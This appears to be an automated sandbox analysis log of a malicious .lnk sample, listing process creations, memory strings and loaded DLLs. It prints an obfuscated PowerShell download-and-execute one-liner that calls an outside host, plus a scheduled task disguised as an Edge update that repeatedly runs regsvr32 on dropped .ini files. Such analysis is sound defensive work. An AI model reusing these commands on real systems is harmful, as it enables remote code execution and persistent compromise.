Source: OpenWith.exe, 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: OpenWith.exe, 0000000C.00000003.1671498025.0000022BF7C48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1675811579.0000022BF7C0D000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1671613192.0000022BF7C48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1675158798.0000022BF7C4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: OpenWith.exe, 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: rpQF1aDIK4.lnk

ReversingLabs: Detection: 13%

Source: utox_x86_x64.exe	String found in binary or memory: impossible: unknown friend-add error
Source: utox_x86_x64.exe	String found in binary or memory: -h --help Shows this help text.
Source: utox_x86_x64.exe	String found in binary or memory: -h --help Shows this help text.
Source: utox_x86_x64.exe	String found in binary or memory: Search/Add Friends

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c p""ow""er""s""h""ell/""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\ajbs50ul.bat "C:\Users\Public\ajbs50ul.bat"
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\Desktop\utox_x86_x64.exe "C:\Users\user\Desktop\utox_x86_x64.exe"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmpshare.exe "C:\Program Files\Windows Media Player\wmpshare.exe"
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{C88C8848-C040-4888-C800-C800848C4848}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\ajbs50ul.bat "C:\Users\Public\ajbs50ul.bat"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\Desktop\utox_x86_x64.exe "C:\Users\user\Desktop\utox_x86_x64.exe"	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmpshare.exe "C:\Program Files\Windows Media Player\wmpshare.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{C88C8848-C040-4888-C800-C800848C4848}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: quartz.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: qedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: dsound.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sspicli.dll	Jump to behavior
